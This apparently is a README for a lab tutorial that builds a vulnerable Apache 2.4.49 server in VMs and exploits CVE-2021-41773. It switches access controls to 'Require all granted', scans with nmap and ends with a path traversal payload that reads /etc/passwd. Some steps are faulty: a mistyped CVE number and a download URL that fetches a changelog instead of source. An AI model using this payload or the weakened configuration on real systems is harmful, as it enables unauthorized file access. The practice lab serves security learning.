alexs18/cve-2021-4773Step-by-step tutorial demonstrating how to set up a vulnerable Apache 2.4.49 environment and exploit CVE-2021-41773 path traversal using Kali Linux and Ubuntu Server VMs.
this is a practice example of how exploit vulnerability CVE-2021-4773 with a virtual machine
for this tutorial you need the next
so lets started when you have 2 virtual machines running you will be install apache version 2.4.49 with a archive repository you can found the version this https://archive.apache.org/dist/httpd/CHANGES_2.4.49
1 the fisrt time in your virtual machine server need to run the follow command
curl -k -L -s --compressed https://archive.apache.org/dist/httpd/CHANGES_2.4.49 > httpd-2.4.49.tar.bz2 or wget https://archive.apache.org/dist/httpd/CHANGES_2.4.49 > httpd-2.4.49.tar.bz2
2 the second time you need unzip this version from apache like this
tar -xvjf httpd-2.4.49.tar.bz2
3 install the following package
sudo apt install build-essential libpcre3 libpcre3-dev libapr1-dev libaprutil1-dev libssl-dev
4 running execute file in the main directory (file name configure) use flag to specify install directory
./configure --prefix=/usr/local/apache2
5 compile the vulnerability versión
make
6 install the vulnerability versión
make install
7 review the version
ls /usr/local/apache2
8 start the proccess
/usr/local/apache2/bin/apachectl start
9 verify the procees
ps aux | grep httpd
10 configure the vulnerability find the file /usr/local/apache2/conf/httpd.conf and configure the directory admin find the tag directory and change Require all denied to
Required all granted
find the tag Files .ht* Required all denied to
Required all granted
the fisrt change is to the exploit vulnerability in the local environment and the second is the expose in the real envionment
1 scann the ip addrees with nmap with the next command
nmap -sV ip_address
2 make a curl or get tho test the apache server
curl ip_address or make wget ip_address
3 review how to exploit the vulnerability in the next page if you want to understand the sintax
https://www.picussecurity.com/resource/blog/simulate-apache-cve-2021-41773-exploits-vulnerability
or just use the next payload
http://$host/cgi-bin/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd